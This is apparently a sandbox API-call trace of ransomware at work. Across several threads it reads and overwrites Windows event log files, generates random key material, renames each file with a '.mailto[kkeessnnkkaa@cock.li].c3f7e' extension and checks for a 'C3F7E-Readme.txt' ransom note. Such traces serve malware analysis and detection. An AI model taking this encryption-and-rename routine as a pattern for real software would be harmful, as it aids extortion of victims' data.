	[0074.032] RtlRandom (in: Seed=0x7d8fd20 | out: Seed=0x7d8fd20) returned 0x784bdeaa
	[0074.032] RtlRandom (in: Seed=0x7d8fd20 | out: Seed=0x7d8fd20) returned 0x44412869
	[0074.032] RtlRandom (in: Seed=0x7d8fd20 | out: Seed=0x7d8fd20) returned 0x10b310d0
	[0074.032] RtlRandom (in: Seed=0x7d8fd20 | out: Seed=0x7d8fd20) returned 0xe622b75a
	[0074.032] RtlRandom (in: Seed=0x7d8fd20 | out: Seed=0x7d8fd20) returned 0x7ca3b81b
	[0074.032] RtlRandom (in: Seed=0x7d8fd20 | out: Seed=0x7d8fd20) returned 0x9745209
	[0074.032] RtlRandom (in: Seed=0x7d8fd20 | out: Seed=0x7d8fd20) returned 0x3895a861
	[0074.032] RtlRandom (in: Seed=0x7d8fd20 | out: Seed=0x7d8fd20) returned 0xa53cf9f
	[0074.032] RtlRandom (in: Seed=0x7d8fd20 | out: Seed=0x7d8fd20) returned 0xa536c2e
	[0074.033] RtlRandom (in: Seed=0x7d8fd20 | out: Seed=0x7d8fd20) returned 0xcc0b3e60
	[0074.033] RtlRandom (in: Seed=0x7d8fd20 | out: Seed=0x7d8fd20) returned 0x603cd2df
	[0074.033] RtlRandom (in: Seed=0x7d8fd20 | out: Seed=0x7d8fd20) returned 0x7775f1b7
	[0074.033] RtlRandom (in: Seed=0x7d8fd20 | out: Seed=0x7d8fd20) returned 0x848da571
	[0074.033] RtlRandom (in: Seed=0x7d8fd20 | out: Seed=0x7d8fd20) returned 0xa1028e34
	[0074.033] RtlRandom (in: Seed=0x7d8fd20 | out: Seed=0x7d8fd20) returned 0x8a31753e
	[0074.041] SetFilePointerEx (in: hFile=0x80c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.042] ReadFile (in: hFile=0x80c, lpBuffer=0x2db7730, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x7d8fcf4, lpOverlapped=0x0 | out: lpBuffer=0x2db7730*, lpNumberOfBytesRead=0x7d8fcf4*=0xc800, lpOverlapped=0x0) returned 1
	[0074.043] SetFilePointerEx (in: hFile=0x80c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.043] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73858
	[0074.043] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4732dd0
	[0074.043] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781378
	[0074.043] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781378) returned 1
	[0074.044] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x2dc4740
	[0074.046] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781440
	[0074.046] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815d0
	[0074.046] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47815d0) returned 1
	[0074.046] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732dd0) returned 1
	[0074.046] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73858) returned 1
	[0074.046] WriteFile (in: hFile=0x80c, lpBuffer=0x2dc4740*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x7d8fcf4, lpOverlapped=0x0 | out: lpBuffer=0x2dc4740*, lpNumberOfBytesWritten=0x7d8fcf4*=0xc800, lpOverlapped=0x0) returned 1
	[0074.055] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dc4740) returned 1
	[0074.055] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2db7730) returned 1
	[0074.055] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x43) returned 0x2d8b1c0
	[0074.055] SetFilePointerEx (in: hFile=0x80c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.055] WriteFile (in: hFile=0x80c, lpBuffer=0x2d89460*, nNumberOfBytesToWrite=0x127, lpNumberOfBytesWritten=0x7d8fd74, lpOverlapped=0x0 | out: lpBuffer=0x2d89460*, lpNumberOfBytesWritten=0x7d8fd74*=0x127, lpOverlapped=0x0) returned 1
	[0074.057] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0074.057] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d8ad10) returned 1
	[0074.057] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781418) returned 1
	[0074.057] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d8b1c0) returned 1
	[0074.057] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781440) returned 1
	[0074.057] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47816c0) returned 1
	[0074.057] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781738) returned 1
	[0074.057] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47817b0) returned 1
	[0074.057] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8e) returned 0x2d78f68
	[0074.057] wcscpy (in: _Dest=0x2d78f68, _Source="C:\\Logs\\Key Management Service.evtx" | out: _Dest="C:\\Logs\\Key Management Service.evtx") returned="C:\\Logs\\Key Management Service.evtx"
	[0074.058] wcscat (in: _Dest=0x2d78f68, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Key Management Service.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Key Management Service.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0074.058] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Key Management Service.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x7d8fd2c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Key Management Service.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0074.058] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d61b00
	[0074.058] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61b00) returned 1
	[0074.058] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5c998) returned 1
	[0074.058] NtQueryInformationFile (in: FileHandle=0x80c, IoStatusBlock=0x7d8fd38, FileInformation=0x7d8fd10, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x7d8fd38, FileInformation=0x7d8fd10) returned 0x0
	[0074.058] NtSetInformationFile (FileHandle=0x80c, IoStatusBlock=0x7d8fd38, FileInformation=0x7d8fd10, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0074.059] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d78f68) returned 1
	[0074.059] FlushFileBuffers (hFile=0x80c) returned 1
	[0074.060] CloseHandle (hObject=0x80c) returned 1
	[0074.061] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x34) returned 0x2d709c0
	[0074.061] wcscpy (in: _Dest=0x2d709c0, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.061] wcscat (in: _Dest=0x2d709c0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Logs\\C3F7E-Readme.txt") returned="C:\\Logs\\C3F7E-Readme.txt"
	[0074.061] GetFileAttributesW (lpFileName="C:\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\logs\\c3f7e-readme.txt")) returned 0x20
	[0074.061] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d709c0) returned 1
	[0074.061] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4730fb0) returned 1

Thread:
	id = 127
	os_tid = 0xeb8

	[0074.042] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx")) returned 0x20
	[0074.042] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx", dwFileAttributes=0x20) returned 1
	[0074.048] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x814
	[0074.048] GetFileSizeEx (in: hFile=0x814, lpFileSize=0x7e0feb0 | out: lpFileSize=0x7e0feb0*=69632) returned 1
	[0074.048] SetFilePointerEx (in: hFile=0x814, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.048] ReadFile (in: hFile=0x814, lpBuffer=0x7e0fe34, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x7e0fe30, lpOverlapped=0x0 | out: lpBuffer=0x7e0fe34*, lpNumberOfBytesRead=0x7e0fe30*=0x4, lpOverlapped=0x0) returned 1
	[0074.062] SetFilePointerEx (in: hFile=0x814, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.062] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815d0
	[0074.062] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815f8
	[0074.062] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781620
	[0074.063] NtQuerySystemTime (in: CurrentTime=0x7e0fe10 | out: CurrentTime=0x7e0fe10*=132251868008070973) returned 0x0
	[0074.063] RtlRandom (in: Seed=0x7e0fe1c | out: Seed=0x7e0fe1c) returned 0x713f591f
	[0074.063] RtlRandom (in: Seed=0x7e0fe1c | out: Seed=0x7e0fe1c) returned 0x9f167a75
	[0074.063] RtlRandom (in: Seed=0x7e0fe1c | out: Seed=0x7e0fe1c) returned 0xd99779ef
	[0074.063] RtlRandom (in: Seed=0x7e0fe1c | out: Seed=0x7e0fe1c) returned 0xb16f868d
	[0074.063] RtlRandom (in: Seed=0x7e0fe1c | out: Seed=0x7e0fe1c) returned 0xabc3c5a6
	[0074.063] RtlRandom (in: Seed=0x7e0fe1c | out: Seed=0x7e0fe1c) returned 0x9242c106
	[0074.063] RtlRandom (in: Seed=0x7e0fe1c | out: Seed=0x7e0fe1c) returned 0x13c317d4
	[0074.063] RtlRandom (in: Seed=0x7e0fe1c | out: Seed=0x7e0fe1c) returned 0x7d5eefd2
	[0074.063] RtlRandom (in: Seed=0x7e0fe1c | out: Seed=0x7e0fe1c) returned 0x808fda3a
	[0074.063] RtlRandom (in: Seed=0x7e0fe1c | out: Seed=0x7e0fe1c) returned 0x326ae5f5
	[0074.063] RtlRandom (in: Seed=0x7e0fe1c | out: Seed=0x7e0fe1c) returned 0xb5a2d6f1
	[0074.063] RtlRandom (in: Seed=0x7e0fe1c | out: Seed=0x7e0fe1c) returned 0xd7cdd241
	[0074.063] RtlRandom (in: Seed=0x7e0fe1c | out: Seed=0x7e0fe1c) returned 0xfba1783d
	[0074.063] RtlRandom (in: Seed=0x7e0fe1c | out: Seed=0x7e0fe1c) returned 0x79aed66a
	[0074.063] RtlRandom (in: Seed=0x7e0fe1c | out: Seed=0x7e0fe1c) returned 0xa9b96957
	[0074.063] RtlRandom (in: Seed=0x7e0fe1c | out: Seed=0x7e0fe1c) returned 0x71a5af14
	[0074.063] RtlRandom (in: Seed=0x7e0fe1c | out: Seed=0x7e0fe1c) returned 0xe768d3f1
	[0074.063] RtlRandom (in: Seed=0x7e0fe1c | out: Seed=0x7e0fe1c) returned 0xbe03c8d2
	[0074.063] RtlRandom (in: Seed=0x7e0fe1c | out: Seed=0x7e0fe1c) returned 0xe0c458ec
	[0074.063] RtlRandom (in: Seed=0x7e0fe1c | out: Seed=0x7e0fe1c) returned 0xbd82169c
	[0074.063] RtlRandom (in: Seed=0x7e0fe1c | out: Seed=0x7e0fe1c) returned 0x5fb75a75
	[0074.063] RtlRandom (in: Seed=0x7e0fe1c | out: Seed=0x7e0fe1c) returned 0x959ef7bb
	[0074.063] RtlRandom (in: Seed=0x7e0fe1c | out: Seed=0x7e0fe1c) returned 0x627a0058
	[0074.063] RtlRandom (in: Seed=0x7e0fe1c | out: Seed=0x7e0fe1c) returned 0x94d7a2b0
	[0074.063] RtlRandom (in: Seed=0x7e0fe1c | out: Seed=0x7e0fe1c) returned 0x9fb0dce6
	[0074.063] RtlRandom (in: Seed=0x7e0fe1c | out: Seed=0x7e0fe1c) returned 0xf8d860b
	[0074.063] RtlRandom (in: Seed=0x7e0fe1c | out: Seed=0x7e0fe1c) returned 0x3430865e
	[0074.063] RtlRandom (in: Seed=0x7e0fe1c | out: Seed=0x7e0fe1c) returned 0x9abe1cb7
	[0074.063] RtlRandom (in: Seed=0x7e0fe1c | out: Seed=0x7e0fe1c) returned 0xccf84e9e
	[0074.063] RtlRandom (in: Seed=0x7e0fe1c | out: Seed=0x7e0fe1c) returned 0xfd45f8d7
	[0074.063] RtlRandom (in: Seed=0x7e0fe1c | out: Seed=0x7e0fe1c) returned 0x459c2568
	[0074.063] RtlRandom (in: Seed=0x7e0fe1c | out: Seed=0x7e0fe1c) returned 0x71de60d0
	[0074.071] SetFilePointerEx (in: hFile=0x814, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.071] ReadFile (in: hFile=0x814, lpBuffer=0x2db7730, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x7e0fdf0, lpOverlapped=0x0 | out: lpBuffer=0x2db7730*, lpNumberOfBytesRead=0x7e0fdf0*=0xc800, lpOverlapped=0x0) returned 1
	[0074.084] SetFilePointerEx (in: hFile=0x814, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.084] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73978
	[0074.084] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4732dd0
	[0074.084] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47817b0
	[0074.084] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47817b0) returned 1
	[0074.085] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x2dc4740
	[0074.085] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781788
	[0074.085] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0074.085] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0074.085] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732dd0) returned 1
	[0074.085] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73978) returned 1
	[0074.085] WriteFile (in: hFile=0x814, lpBuffer=0x2dc4740*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x7e0fdf0, lpOverlapped=0x0 | out: lpBuffer=0x2dc4740*, lpNumberOfBytesWritten=0x7e0fdf0*=0xc800, lpOverlapped=0x0) returned 1
	[0074.097] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dc4740) returned 1
	[0074.097] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2db7730) returned 1
	[0074.101] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6b) returned 0x4732dd0
	[0074.101] SetFilePointerEx (in: hFile=0x814, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.101] WriteFile (in: hFile=0x814, lpBuffer=0x2d89460*, nNumberOfBytesToWrite=0x14f, lpNumberOfBytesWritten=0x7e0fe70, lpOverlapped=0x0 | out: lpBuffer=0x2d89460*, lpNumberOfBytesWritten=0x7e0fe70*=0x14f, lpOverlapped=0x0) returned 1
	[0074.107] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0074.107] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732e48) returned 1
	[0074.107] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781710) returned 1
	[0074.107] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732dd0) returned 1
	[0074.107] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781788) returned 1
	[0074.107] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47815f8) returned 1
	[0074.107] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781378) returned 1
	[0074.107] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47816c0) returned 1
	[0074.107] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x2d89460
	[0074.107] wcscpy (in: _Dest=0x2d89460, _Source="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" | out: _Dest="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx"
	[0074.107] wcscat (in: _Dest=0x2d89460, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0074.107] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x7e0fe28, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0074.107] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x2d70140
	[0074.108] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70140) returned 1
	[0074.108] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89520) returned 1
	[0074.108] NtQueryInformationFile (in: FileHandle=0x814, IoStatusBlock=0x7e0fe34, FileInformation=0x7e0fe0c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x7e0fe34, FileInformation=0x7e0fe0c) returned 0x0
	[0074.109] NtSetInformationFile (FileHandle=0x814, IoStatusBlock=0x7e0fe34, FileInformation=0x7e0fe0c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0074.110] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0074.110] FlushFileBuffers (hFile=0x814) returned 1
	[0074.116] CloseHandle (hObject=0x814) returned 1
	[0074.120] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x34) returned 0x2d70a00
	[0074.120] wcscpy (in: _Dest=0x2d70a00, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.120] wcscat (in: _Dest=0x2d70a00, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Logs\\C3F7E-Readme.txt") returned="C:\\Logs\\C3F7E-Readme.txt"
	[0074.120] GetFileAttributesW (lpFileName="C:\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\logs\\c3f7e-readme.txt")) returned 0x20
	[0074.120] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70a00) returned 1
	[0074.120] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d53f40) returned 1

Thread:
	id = 128
	os_tid = 0xef4

	[0074.072] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx")) returned 0x20
	[0074.082] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx", dwFileAttributes=0x20) returned 1
	[0074.082] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x80c
	[0074.082] GetFileSizeEx (in: hFile=0x80c, lpFileSize=0x7e8fba4 | out: lpFileSize=0x7e8fba4*=69632) returned 1
	[0074.082] SetFilePointerEx (in: hFile=0x80c, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.082] ReadFile (in: hFile=0x80c, lpBuffer=0x7e8fb28, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x7e8fb24, lpOverlapped=0x0 | out: lpBuffer=0x7e8fb28*, lpNumberOfBytesRead=0x7e8fb24*=0x4, lpOverlapped=0x0) returned 1
	[0074.086] SetFilePointerEx (in: hFile=0x80c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.086] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781490
	[0074.086] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781850
	[0074.086] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0074.086] NtQuerySystemTime (in: CurrentTime=0x7e8fb04 | out: CurrentTime=0x7e8fb04*=132251868008255764) returned 0x0
	[0074.086] RtlRandom (in: Seed=0x7e8fb10 | out: Seed=0x7e8fb10) returned 0x7244f0d3
	[0074.086] RtlRandom (in: Seed=0x7e8fb10 | out: Seed=0x7e8fb10) returned 0xa4b5601b
	[0074.086] RtlRandom (in: Seed=0x7e8fb10 | out: Seed=0x7e8fb10) returned 0x81581b3f
	[0074.086] RtlRandom (in: Seed=0x7e8fb10 | out: Seed=0x7e8fb10) returned 0x58057354
	[0074.086] RtlRandom (in: Seed=0x7e8fb10 | out: Seed=0x7e8fb10) returned 0x444bd84e
	[0074.086] RtlRandom (in: Seed=0x7e8fb10 | out: Seed=0x7e8fb10) returned 0xec80d486
	[0074.086] RtlRandom (in: Seed=0x7e8fb10 | out: Seed=0x7e8fb10) returned 0xd2a8f748
	[0074.086] RtlRandom (in: Seed=0x7e8fb10 | out: Seed=0x7e8fb10) returned 0xd215d1cc
	[0074.086] RtlRandom (in: Seed=0x7e8fb10 | out: Seed=0x7e8fb10) returned 0x2fdb7ed1
	[0074.087] RtlRandom (in: Seed=0x7e8fb10 | out: Seed=0x7e8fb10) returned 0x8a921aa9
	[0074.087] RtlRandom (in: Seed=0x7e8fb10 | out: Seed=0x7e8fb10) returned 0xeca51f68
	[0074.087] RtlRandom (in: Seed=0x7e8fb10 | out: Seed=0x7e8fb10) returned 0x43e34e14
	[0074.087] RtlRandom (in: Seed=0x7e8fb10 | out: Seed=0x7e8fb10) returned 0xc4ad673e
	[0074.087] RtlRandom (in: Seed=0x7e8fb10 | out: Seed=0x7e8fb10) returned 0x6758313b
	[0074.087] RtlRandom (in: Seed=0x7e8fb10 | out: Seed=0x7e8fb10) returned 0x17920bc3
	[0074.087] RtlRandom (in: Seed=0x7e8fb10 | out: Seed=0x7e8fb10) returned 0xad979cf3
	[0074.087] RtlRandom (in: Seed=0x7e8fb10 | out: Seed=0x7e8fb10) returned 0x78c5b7af
	[0074.087] RtlRandom (in: Seed=0x7e8fb10 | out: Seed=0x7e8fb10) returned 0xb584dde0
	[0074.087] RtlRandom (in: Seed=0x7e8fb10 | out: Seed=0x7e8fb10) returned 0xfe6f237f
	[0074.087] RtlRandom (in: Seed=0x7e8fb10 | out: Seed=0x7e8fb10) returned 0xa4ca6b69
	[0074.087] RtlRandom (in: Seed=0x7e8fb10 | out: Seed=0x7e8fb10) returned 0x229c7f85
	[0074.087] RtlRandom (in: Seed=0x7e8fb10 | out: Seed=0x7e8fb10) returned 0xca542889
	[0074.087] RtlRandom (in: Seed=0x7e8fb10 | out: Seed=0x7e8fb10) returned 0x6817410d
	[0074.087] RtlRandom (in: Seed=0x7e8fb10 | out: Seed=0x7e8fb10) returned 0xf9eae1fb
	[0074.087] RtlRandom (in: Seed=0x7e8fb10 | out: Seed=0x7e8fb10) returned 0xefef59d9
	[0074.087] RtlRandom (in: Seed=0x7e8fb10 | out: Seed=0x7e8fb10) returned 0x36c875f8
	[0074.087] RtlRandom (in: Seed=0x7e8fb10 | out: Seed=0x7e8fb10) returned 0x9e3931f8
	[0074.087] RtlRandom (in: Seed=0x7e8fb10 | out: Seed=0x7e8fb10) returned 0xa4113ac2
	[0074.087] RtlRandom (in: Seed=0x7e8fb10 | out: Seed=0x7e8fb10) returned 0x943b7067
	[0074.087] RtlRandom (in: Seed=0x7e8fb10 | out: Seed=0x7e8fb10) returned 0x19a2748e
	[0074.087] RtlRandom (in: Seed=0x7e8fb10 | out: Seed=0x7e8fb10) returned 0xdbc6917a
	[0074.087] RtlRandom (in: Seed=0x7e8fb10 | out: Seed=0x7e8fb10) returned 0x4b2a6ae7
	[0074.096] SetFilePointerEx (in: hFile=0x80c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.096] ReadFile (in: hFile=0x80c, lpBuffer=0x2dd0f48, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x7e8fae4, lpOverlapped=0x0 | out: lpBuffer=0x2dd0f48*, lpNumberOfBytesRead=0x7e8fae4*=0xc800, lpOverlapped=0x0) returned 1
	[0074.102] SetFilePointerEx (in: hFile=0x80c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.102] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73b70
	[0074.102] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4732ec0
	[0074.103] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0074.103] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0074.104] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x2db7730
	[0074.105] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47817b0
	[0074.106] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47816e8
	[0074.106] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47816e8) returned 1
	[0074.106] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732ec0) returned 1
	[0074.106] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73b70) returned 1
	[0074.106] WriteFile (in: hFile=0x80c, lpBuffer=0x2db7730*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x7e8fae4, lpOverlapped=0x0 | out: lpBuffer=0x2db7730*, lpNumberOfBytesWritten=0x7e8fae4*=0xc800, lpOverlapped=0x0) returned 1
	[0074.110] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2db7730) returned 1
	[0074.110] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dd0f48) returned 1
	[0074.114] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa9) returned 0x2d7d3f8
	[0074.114] SetFilePointerEx (in: hFile=0x80c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
